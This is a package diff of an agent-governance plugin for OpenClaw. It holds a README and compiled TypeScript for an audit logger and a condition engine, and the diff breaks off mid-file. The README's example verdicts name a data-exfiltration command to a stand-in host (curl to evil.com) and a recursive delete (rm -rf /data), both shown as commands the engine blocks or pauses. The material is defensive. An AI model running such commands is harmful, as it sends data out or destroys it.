@neuroverseos/governance 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +198 -0
- package/dist/audit-logger.d.ts +38 -0
- package/dist/audit-logger.d.ts.map +1 -0
- package/dist/audit-logger.js +100 -0
- package/dist/audit-logger.js.map +1 -0
- package/dist/condition-engine.d.ts +16 -0
- package/dist/condition-engine.d.ts.map +1 -0
- package/dist/condition-engine.js +186 -0
- package/dist/condition-engine.js.map +1 -0
- package/dist/drift-monitor.d.ts +81 -0
- package/dist/drift-monitor.d.ts.map +1 -0
- package/dist/drift-monitor.js +228 -0
- package/dist/drift-monitor.js.map +1 -0
- package/dist/governance-engine.d.ts +131 -0
- package/dist/governance-engine.d.ts.map +1 -0
- package/dist/governance-engine.js +660 -0
- package/dist/governance-engine.js.map +1 -0
- package/dist/index.d.ts +33 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +1170 -0
- package/dist/index.js.map +1 -0
- package/dist/types.d.ts +196 -0
- package/dist/types.d.ts.map +1 -0
- package/dist/types.js +9 -0
- package/dist/types.js.map +1 -0
- package/dist/world-bootstrap.d.ts +31 -0
- package/dist/world-bootstrap.d.ts.map +1 -0
- package/dist/world-bootstrap.js +415 -0
- package/dist/world-bootstrap.js.map +1 -0
- package/openclaw.plugin.json +59 -0
- package/package.json +36 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 NeuroVerseOS
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,198 @@
|
|
|
1
|
+
# NeuroVerseOS — Governance Kernel for OpenClaw
|
|
2
|
+
|
|
3
|
+
NeuroVerseOS is a deterministic governance kernel for autonomous agents running in OpenClaw.
|
|
4
|
+
|
|
5
|
+
It compiles your `.md` agent files into a structured World File and enforces invariants, guards, rules, and role-based authority on every tool call.
|
|
6
|
+
|
|
7
|
+
No AI calls during enforcement. No network requests. Same world + same event = same verdict.
|
|
8
|
+
|
|
9
|
+
## What NeuroVerseOS Does
|
|
10
|
+
|
|
11
|
+
NeuroVerseOS introduces structured, enforceable governance to agent systems.
|
|
12
|
+
|
|
13
|
+
It ensures that:
|
|
14
|
+
|
|
15
|
+
- Global constraints cannot be silently weakened
|
|
16
|
+
- Role-based authority is enforced at runtime
|
|
17
|
+
- World updates require explicit human approval
|
|
18
|
+
- Governance integrity is verified on every tool call
|
|
19
|
+
- All decisions are auditable
|
|
20
|
+
|
|
21
|
+
This is not prompt filtering. This is runtime constitutional enforcement.
|
|
22
|
+
|
|
23
|
+
## Governance Model
|
|
24
|
+
|
|
25
|
+
NeuroVerseOS enforces governance across four layers:
|
|
26
|
+
|
|
27
|
+
1. **Invariants** — Unbreakable global constraints
|
|
28
|
+
2. **Guards** — Conditional limits requiring review
|
|
29
|
+
3. **Rules** — Context-aware evaluation logic
|
|
30
|
+
4. **Roles** — Delegated authority bound to agent identities
|
|
31
|
+
|
|
32
|
+
Role permissions are enforced inside world-level invariants. Delegated authority can never override global constraints.
|
|
33
|
+
|
|
34
|
+
## Governance Lifecycle
|
|
35
|
+
|
|
36
|
+
World updates follow a mandatory approval flow:
|
|
37
|
+
|
|
38
|
+
```
|
|
39
|
+
ACTIVE → PENDING → APPROVED → ACTIVE
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
- `/world bootstrap` creates a pending world
|
|
43
|
+
- `/world diff` shows structured changes
|
|
44
|
+
- `/world approve` activates it
|
|
45
|
+
- Critical changes require explicit confirmation
|
|
46
|
+
|
|
47
|
+
No world change activates silently.
|
|
48
|
+
|
|
49
|
+
## Installation
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
openclaw plugins install @neuroverseos/governance
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
For local development:
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
openclaw plugins install -l .
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
If OpenClaw runs on a VPS, install the plugin on that server.
|
|
62
|
+
|
|
63
|
+
## Storage Model
|
|
64
|
+
|
|
65
|
+
NeuroVerseOS stores governance state per OpenClaw workspace in:
|
|
66
|
+
|
|
67
|
+
```
|
|
68
|
+
.neuroverseos/
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
This directory contains:
|
|
72
|
+
|
|
73
|
+
- `world.json`
|
|
74
|
+
- `world.meta.json`
|
|
75
|
+
- `audit.jsonl`
|
|
76
|
+
- `state.json`
|
|
77
|
+
- `proposals/`
|
|
78
|
+
|
|
79
|
+
No global hidden state. Each workspace maintains independent governance.
|
|
80
|
+
|
|
81
|
+
## Quick Start
|
|
82
|
+
|
|
83
|
+
Inside your OpenClaw workspace:
|
|
84
|
+
|
|
85
|
+
```
|
|
86
|
+
/world bootstrap
|
|
87
|
+
/world diff
|
|
88
|
+
/world approve
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
This compiles your `.md` agent files into a structured World File and activates governance.
|
|
92
|
+
|
|
93
|
+
## Runtime Enforcement
|
|
94
|
+
|
|
95
|
+
Every tool call passes through a deterministic evaluation pipeline:
|
|
96
|
+
|
|
97
|
+
1. **Invariants** (BLOCK)
|
|
98
|
+
2. **Guards** (PAUSE or BLOCK)
|
|
99
|
+
3. **Rules** (context-aware verdict)
|
|
100
|
+
4. **Role constraints**
|
|
101
|
+
5. **Default** (ALLOW)
|
|
102
|
+
|
|
103
|
+
**Example BLOCK:**
|
|
104
|
+
|
|
105
|
+
```
|
|
106
|
+
[governance] BLOCK shell → curl https://evil.com/exfil
|
|
107
|
+
invariant: no-data-exfiltration
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**Example PAUSE:**
|
|
111
|
+
|
|
112
|
+
```
|
|
113
|
+
[governance] PAUSE shell → rm -rf /data
|
|
114
|
+
guard: destructive_shell_requires_approval
|
|
115
|
+
Allow? [y]es / [a]lways / [n]o
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
All verdicts are logged to `.neuroverseos/audit.jsonl`.
|
|
119
|
+
|
|
120
|
+
## Runtime Integrity Verification
|
|
121
|
+
|
|
122
|
+
Before evaluating rules, NeuroVerseOS verifies system integrity:
|
|
123
|
+
|
|
124
|
+
| Check | Behavior |
|
|
125
|
+
|-------|----------|
|
|
126
|
+
| World hash verification | BLOCK if modified outside approval pipeline |
|
|
127
|
+
| World missing detection | BLOCK if world deleted |
|
|
128
|
+
| Pending world reminder | Warn once per session |
|
|
129
|
+
| Source drift detection | Warn if `.md` files changed since bootstrap |
|
|
130
|
+
|
|
131
|
+
Critical failures fail closed.
|
|
132
|
+
|
|
133
|
+
**Example tamper detection:**
|
|
134
|
+
|
|
135
|
+
```
|
|
136
|
+
[!!!] World file integrity check failed.
|
|
137
|
+
→ Run /world restore
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## Agent Identity → Role Binding
|
|
141
|
+
|
|
142
|
+
Each OpenClaw agent (`ctx.agentId`) is explicitly bound to a governance role.
|
|
143
|
+
|
|
144
|
+
Roles define:
|
|
145
|
+
|
|
146
|
+
- `canDo`
|
|
147
|
+
- `cannotDo`
|
|
148
|
+
- `requiresApproval`
|
|
149
|
+
|
|
150
|
+
Bindings are stored in `world.meta.json` and follow the same approval lifecycle as world changes.
|
|
151
|
+
|
|
152
|
+
Role enforcement is deterministic and runtime-verified.
|
|
153
|
+
|
|
154
|
+
## Drift Detection
|
|
155
|
+
|
|
156
|
+
NeuroVerseOS tracks divergence between your `.md` source files and the active World File.
|
|
157
|
+
|
|
158
|
+
If drift is detected:
|
|
159
|
+
|
|
160
|
+
- `/world status` shows changed files
|
|
161
|
+
- You are prompted to regenerate
|
|
162
|
+
- Governance never updates silently
|
|
163
|
+
|
|
164
|
+
## Composable Governance
|
|
165
|
+
|
|
166
|
+
Worlds are composable.
|
|
167
|
+
|
|
168
|
+
You can import or compose governance modules (e.g., operational safety, budget controls, strategy models) into a single enforceable World File.
|
|
169
|
+
|
|
170
|
+
All compositions generate a pending world and require approval.
|
|
171
|
+
|
|
172
|
+
## Commands
|
|
173
|
+
|
|
174
|
+
| Command | Description |
|
|
175
|
+
|---------|-------------|
|
|
176
|
+
| `/world bootstrap` | Compile `.md` files into pending world |
|
|
177
|
+
| `/world status` | View governance + integrity state |
|
|
178
|
+
| `/world diff` | Compare pending vs active |
|
|
179
|
+
| `/world approve` | Activate pending world |
|
|
180
|
+
| `/world reject` | Discard pending changes |
|
|
181
|
+
| `/world history` | View past versions |
|
|
182
|
+
| `/world rollback <N>` | Restore previous version |
|
|
183
|
+
| `/world restore` | Recover from tampering |
|
|
184
|
+
| `/world bind <agent> <role>` | Bind agent to role |
|
|
185
|
+
| `/world bindings` | View agent-role bindings |
|
|
186
|
+
|
|
187
|
+
## Design Principles
|
|
188
|
+
|
|
189
|
+
- Deterministic runtime enforcement
|
|
190
|
+
- Fail-closed integrity model
|
|
191
|
+
- Explicit human approval for world changes
|
|
192
|
+
- Role-based delegated authority
|
|
193
|
+
- Per-workspace deterministic storage
|
|
194
|
+
- No network calls during enforcement
|
|
195
|
+
|
|
196
|
+
## License
|
|
197
|
+
|
|
198
|
+
MIT
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Audit Logger — Append-only JSONL governance log
|
|
3
|
+
*
|
|
4
|
+
* Every verdict logged. Every PAUSE paired with a decision.
|
|
5
|
+
* Every entry references a ruleId. /world status reads this for drift metrics.
|
|
6
|
+
*
|
|
7
|
+
* Format: .neuroverseos/audit.jsonl — one JSON object per line.
|
|
8
|
+
*/
|
|
9
|
+
import type { AuditEntry, AuditDecisionEntry, GovernanceVerdict } from './types';
|
|
10
|
+
export declare class AuditLogger {
|
|
11
|
+
private logPath;
|
|
12
|
+
constructor(logPath: string);
|
|
13
|
+
/**
|
|
14
|
+
* Log a governance verdict. Returns the event ID for pairing with decisions.
|
|
15
|
+
* Includes agentId for provenance tracking and severity for audit analysis.
|
|
16
|
+
*/
|
|
17
|
+
logVerdict(tool: string, intent: string, verdict: GovernanceVerdict, agentId?: string): string;
|
|
18
|
+
/**
|
|
19
|
+
* Log a PAUSE decision (allow-once, allow-always, deny).
|
|
20
|
+
* Paired with the original verdict by event ID.
|
|
21
|
+
*/
|
|
22
|
+
logDecision(eventId: string, decision: 'allow-once' | 'allow-always' | 'deny'): void;
|
|
23
|
+
/**
|
|
24
|
+
* Read all audit entries (for drift analysis / status command).
|
|
25
|
+
*/
|
|
26
|
+
readAll(): Array<AuditEntry | AuditDecisionEntry>;
|
|
27
|
+
/**
|
|
28
|
+
* Count entries by status (for quick stats).
|
|
29
|
+
*/
|
|
30
|
+
getCounts(): {
|
|
31
|
+
total: number;
|
|
32
|
+
allow: number;
|
|
33
|
+
pause: number;
|
|
34
|
+
block: number;
|
|
35
|
+
};
|
|
36
|
+
private append;
|
|
37
|
+
}
|
|
38
|
+
//# sourceMappingURL=audit-logger.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"audit-logger.d.ts","sourceRoot":"","sources":["../audit-logger.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAIH,OAAO,KAAK,EAAE,UAAU,EAAE,kBAAkB,EAAE,iBAAiB,EAAE,MAAM,SAAS,CAAC;AASjF,qBAAa,WAAW;IACtB,OAAO,CAAC,OAAO,CAAS;gBAEZ,OAAO,EAAE,MAAM;IAQ3B;;;OAGG;IACH,UAAU,CAAC,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,iBAAiB,EAAE,OAAO,CAAC,EAAE,MAAM,GAAG,MAAM;IAiB9F;;;OAGG;IACH,WAAW,CAAC,OAAO,EAAE,MAAM,EAAE,QAAQ,EAAE,YAAY,GAAG,cAAc,GAAG,MAAM,GAAG,IAAI;IAWpF;;OAEG;IACH,OAAO,IAAI,KAAK,CAAC,UAAU,GAAG,kBAAkB,CAAC;IAajD;;OAEG;IACH,SAAS,IAAI;QAAE,KAAK,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,MAAM,CAAA;KAAE;IAY3E,OAAO,CAAC,MAAM;CAOf"}
|
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Audit Logger — Append-only JSONL governance log
|
|
4
|
+
*
|
|
5
|
+
* Every verdict logged. Every PAUSE paired with a decision.
|
|
6
|
+
* Every entry references a ruleId. /world status reads this for drift metrics.
|
|
7
|
+
*
|
|
8
|
+
* Format: .neuroverseos/audit.jsonl — one JSON object per line.
|
|
9
|
+
*/
|
|
10
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
11
|
+
exports.AuditLogger = void 0;
|
|
12
|
+
const fs_1 = require("fs");
|
|
13
|
+
const path_1 = require("path");
|
|
14
|
+
let eventCounter = 0;
|
|
15
|
+
function nextEventId() {
|
|
16
|
+
eventCounter++;
|
|
17
|
+
return `ev-${String(eventCounter).padStart(3, '0')}`;
|
|
18
|
+
}
|
|
19
|
+
class AuditLogger {
|
|
20
|
+
constructor(logPath) {
|
|
21
|
+
this.logPath = logPath;
|
|
22
|
+
const dir = (0, path_1.dirname)(logPath);
|
|
23
|
+
if (!(0, fs_1.existsSync)(dir)) {
|
|
24
|
+
(0, fs_1.mkdirSync)(dir, { recursive: true });
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
/**
|
|
28
|
+
* Log a governance verdict. Returns the event ID for pairing with decisions.
|
|
29
|
+
* Includes agentId for provenance tracking and severity for audit analysis.
|
|
30
|
+
*/
|
|
31
|
+
logVerdict(tool, intent, verdict, agentId) {
|
|
32
|
+
const id = nextEventId();
|
|
33
|
+
const entry = {
|
|
34
|
+
ts: Date.now(),
|
|
35
|
+
id,
|
|
36
|
+
tool,
|
|
37
|
+
intent,
|
|
38
|
+
status: verdict.status,
|
|
39
|
+
ruleId: verdict.ruleId,
|
|
40
|
+
evidence: verdict.evidence,
|
|
41
|
+
agentId,
|
|
42
|
+
severity: verdict.severity,
|
|
43
|
+
};
|
|
44
|
+
this.append(entry);
|
|
45
|
+
return id;
|
|
46
|
+
}
|
|
47
|
+
/**
|
|
48
|
+
* Log a PAUSE decision (allow-once, allow-always, deny).
|
|
49
|
+
* Paired with the original verdict by event ID.
|
|
50
|
+
*/
|
|
51
|
+
logDecision(eventId, decision) {
|
|
52
|
+
const entry = {
|
|
53
|
+
ts: Date.now(),
|
|
54
|
+
id: eventId,
|
|
55
|
+
type: 'decision',
|
|
56
|
+
decision,
|
|
57
|
+
decidedAt: Date.now(),
|
|
58
|
+
};
|
|
59
|
+
this.append(entry);
|
|
60
|
+
}
|
|
61
|
+
/**
|
|
62
|
+
* Read all audit entries (for drift analysis / status command).
|
|
63
|
+
*/
|
|
64
|
+
readAll() {
|
|
65
|
+
if (!(0, fs_1.existsSync)(this.logPath))
|
|
66
|
+
return [];
|
|
67
|
+
try {
|
|
68
|
+
const raw = (0, fs_1.readFileSync)(this.logPath, 'utf-8');
|
|
69
|
+
return raw
|
|
70
|
+
.split('\n')
|
|
71
|
+
.filter(line => line.trim())
|
|
72
|
+
.map(line => JSON.parse(line));
|
|
73
|
+
}
|
|
74
|
+
catch {
|
|
75
|
+
return [];
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
/**
|
|
79
|
+
* Count entries by status (for quick stats).
|
|
80
|
+
*/
|
|
81
|
+
getCounts() {
|
|
82
|
+
const entries = this.readAll().filter((e) => !('type' in e && e.type === 'decision'));
|
|
83
|
+
return {
|
|
84
|
+
total: entries.length,
|
|
85
|
+
allow: entries.filter(e => e.status === 'ALLOW').length,
|
|
86
|
+
pause: entries.filter(e => e.status === 'PAUSE').length,
|
|
87
|
+
block: entries.filter(e => e.status === 'BLOCK').length,
|
|
88
|
+
};
|
|
89
|
+
}
|
|
90
|
+
append(entry) {
|
|
91
|
+
try {
|
|
92
|
+
(0, fs_1.appendFileSync)(this.logPath, JSON.stringify(entry) + '\n');
|
|
93
|
+
}
|
|
94
|
+
catch {
|
|
95
|
+
// Silent failure — don't crash enforcement on log write failure
|
|
96
|
+
}
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
exports.AuditLogger = AuditLogger;
|
|
100
|
+
//# sourceMappingURL=audit-logger.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"audit-logger.js","sourceRoot":"","sources":["../audit-logger.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Condition Engine — Structured operator evaluation
|
|
3
|
+
*
|
|
4
|
+
* Replaces string.includes(pattern) with a real operator engine.
|
|
5
|
+
* These operators mirror the Experience Space rule compiler — same
|
|
6
|
+
* vocabulary across all three players.
|
|
7
|
+
*
|
|
8
|
+
* Deterministic. No AI. No network. Sub-millisecond per evaluation.
|
|
9
|
+
*/
|
|
10
|
+
import type { Condition, ConditionResult, ToolCallEvent } from './types';
|
|
11
|
+
/**
|
|
12
|
+
* Evaluate a single condition against a tool call event.
|
|
13
|
+
* Returns whether it matched and what evidence was found.
|
|
14
|
+
*/
|
|
15
|
+
export declare function evaluateCondition(condition: Condition, event: ToolCallEvent): ConditionResult;
|
|
16
|
+
//# sourceMappingURL=condition-engine.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"condition-engine.d.ts","sourceRoot":"","sources":["../condition-engine.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,KAAK,EAAE,SAAS,EAAE,eAAe,EAAE,aAAa,EAAE,MAAM,SAAS,CAAC;AAiCzE;;;GAGG;AACH,wBAAgB,iBAAiB,CAC/B,SAAS,EAAE,SAAS,EACpB,KAAK,EAAE,aAAa,GACnB,eAAe,CAgDjB"}
|
|
@@ -0,0 +1,186 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Condition Engine — Structured operator evaluation
|
|
4
|
+
*
|
|
5
|
+
* Replaces string.includes(pattern) with a real operator engine.
|
|
6
|
+
* These operators mirror the Experience Space rule compiler — same
|
|
7
|
+
* vocabulary across all three players.
|
|
8
|
+
*
|
|
9
|
+
* Deterministic. No AI. No network. Sub-millisecond per evaluation.
|
|
10
|
+
*/
|
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
12
|
+
exports.evaluateCondition = evaluateCondition;
|
|
13
|
+
// ────────────────────────────────────────────────────────────────────────
|
|
14
|
+
// Field Resolution
|
|
15
|
+
// ────────────────────────────────────────────────────────────────────────
|
|
16
|
+
/**
|
|
17
|
+
* Resolve a field path from the event.
|
|
18
|
+
* Supports top-level fields and nested args (e.g. "args.command", "args.file_path").
|
|
19
|
+
*/
|
|
20
|
+
function getFieldValue(event, field) {
|
|
21
|
+
if (field.startsWith('args.')) {
|
|
22
|
+
const key = field.slice(5);
|
|
23
|
+
return event.args?.[key];
|
|
24
|
+
}
|
|
25
|
+
return event[field];
|
|
26
|
+
}
|
|
27
|
+
/**
|
|
28
|
+
* Coerce a field value to string for text operations.
|
|
29
|
+
* Objects/arrays are JSON-stringified. Nullish becomes empty string.
|
|
30
|
+
*/
|
|
31
|
+
function toString(value) {
|
|
32
|
+
if (value === null || value === undefined)
|
|
33
|
+
return '';
|
|
34
|
+
if (typeof value === 'string')
|
|
35
|
+
return value;
|
|
36
|
+
if (typeof value === 'number' || typeof value === 'boolean')
|
|
37
|
+
return String(value);
|
|
38
|
+
return JSON.stringify(value);
|
|
39
|
+
}
|
|
40
|
+
// ────────────────────────────────────────────────────────────────────────
|
|
41
|
+
// Core Evaluator
|
|
42
|
+
// ────────────────────────────────────────────────────────────────────────
|
|
43
|
+
/**
|
|
44
|
+
* Evaluate a single condition against a tool call event.
|
|
45
|
+
* Returns whether it matched and what evidence was found.
|
|
46
|
+
*/
|
|
47
|
+
function evaluateCondition(condition, event) {
|
|
48
|
+
const fieldValue = getFieldValue(event, condition.field);
|
|
49
|
+
// Missing field never matches (except != which is debatable — we treat missing as no-match)
|
|
50
|
+
if (fieldValue === undefined && condition.operator !== '!=') {
|
|
51
|
+
return { matched: false, evidence: null };
|
|
52
|
+
}
|
|
53
|
+
switch (condition.operator) {
|
|
54
|
+
case '==':
|
|
55
|
+
return evaluateEquals(fieldValue, condition.value);
|
|
56
|
+
case '!=':
|
|
57
|
+
return evaluateNotEquals(fieldValue, condition.value);
|
|
58
|
+
case '>':
|
|
59
|
+
return evaluateComparison(fieldValue, condition.value, (a, b) => a > b);
|
|
60
|
+
case '<':
|
|
61
|
+
return evaluateComparison(fieldValue, condition.value, (a, b) => a < b);
|
|
62
|
+
case '>=':
|
|
63
|
+
return evaluateComparison(fieldValue, condition.value, (a, b) => a >= b);
|
|
64
|
+
case '<=':
|
|
65
|
+
return evaluateComparison(fieldValue, condition.value, (a, b) => a <= b);
|
|
66
|
+
case 'in':
|
|
67
|
+
return evaluateIn(fieldValue, condition.value);
|
|
68
|
+
case 'contains':
|
|
69
|
+
return evaluateContains(fieldValue, condition.value);
|
|
70
|
+
case 'contains_any':
|
|
71
|
+
return evaluateContainsAny(fieldValue, condition.value);
|
|
72
|
+
case 'matches_pattern':
|
|
73
|
+
return evaluateMatchesPattern(fieldValue, condition.value);
|
|
74
|
+
case 'starts_with':
|
|
75
|
+
return evaluateStartsWith(fieldValue, condition.value);
|
|
76
|
+
case 'ends_with':
|
|
77
|
+
return evaluateEndsWith(fieldValue, condition.value);
|
|
78
|
+
default:
|
|
79
|
+
return { matched: false, evidence: null };
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
// ────────────────────────────────────────────────────────────────────────
|
|
83
|
+
// Operator Implementations
|
|
84
|
+
// ────────────────────────────────────────────────────────────────────────
|
|
85
|
+
function evaluateEquals(fieldValue, conditionValue) {
|
|
86
|
+
const fieldStr = toString(fieldValue);
|
|
87
|
+
const condStr = toString(conditionValue);
|
|
88
|
+
const matched = fieldStr === condStr;
|
|
89
|
+
return {
|
|
90
|
+
matched,
|
|
91
|
+
evidence: matched ? `${fieldStr} == ${condStr}` : null,
|
|
92
|
+
};
|
|
93
|
+
}
|
|
94
|
+
function evaluateNotEquals(fieldValue, conditionValue) {
|
|
95
|
+
const fieldStr = toString(fieldValue);
|
|
96
|
+
const condStr = toString(conditionValue);
|
|
97
|
+
const matched = fieldStr !== condStr;
|
|
98
|
+
return {
|
|
99
|
+
matched,
|
|
100
|
+
evidence: matched ? `${fieldStr} != ${condStr}` : null,
|
|
101
|
+
};
|
|
102
|
+
}
|
|
103
|
+
function evaluateComparison(fieldValue, conditionValue, comparator) {
|
|
104
|
+
const a = Number(fieldValue);
|
|
105
|
+
const b = Number(conditionValue);
|
|
106
|
+
if (isNaN(a) || isNaN(b))
|
|
107
|
+
return { matched: false, evidence: null };
|
|
108
|
+
const matched = comparator(a, b);
|
|
109
|
+
return {
|
|
110
|
+
matched,
|
|
111
|
+
evidence: matched ? `${a} compared to ${b}` : null,
|
|
112
|
+
};
|
|
113
|
+
}
|
|
114
|
+
function evaluateIn(fieldValue, conditionValue) {
|
|
115
|
+
if (!Array.isArray(conditionValue))
|
|
116
|
+
return { matched: false, evidence: null };
|
|
117
|
+
const fieldStr = toString(fieldValue);
|
|
118
|
+
const matched = conditionValue.some(v => toString(v) === fieldStr);
|
|
119
|
+
return {
|
|
120
|
+
matched,
|
|
121
|
+
evidence: matched ? `"${fieldStr}" found in [${conditionValue.join(', ')}]` : null,
|
|
122
|
+
};
|
|
123
|
+
}
|
|
124
|
+
function evaluateContains(fieldValue, conditionValue) {
|
|
125
|
+
const fieldStr = toString(fieldValue).toLowerCase();
|
|
126
|
+
const searchStr = toString(conditionValue).toLowerCase();
|
|
127
|
+
const matched = fieldStr.includes(searchStr);
|
|
128
|
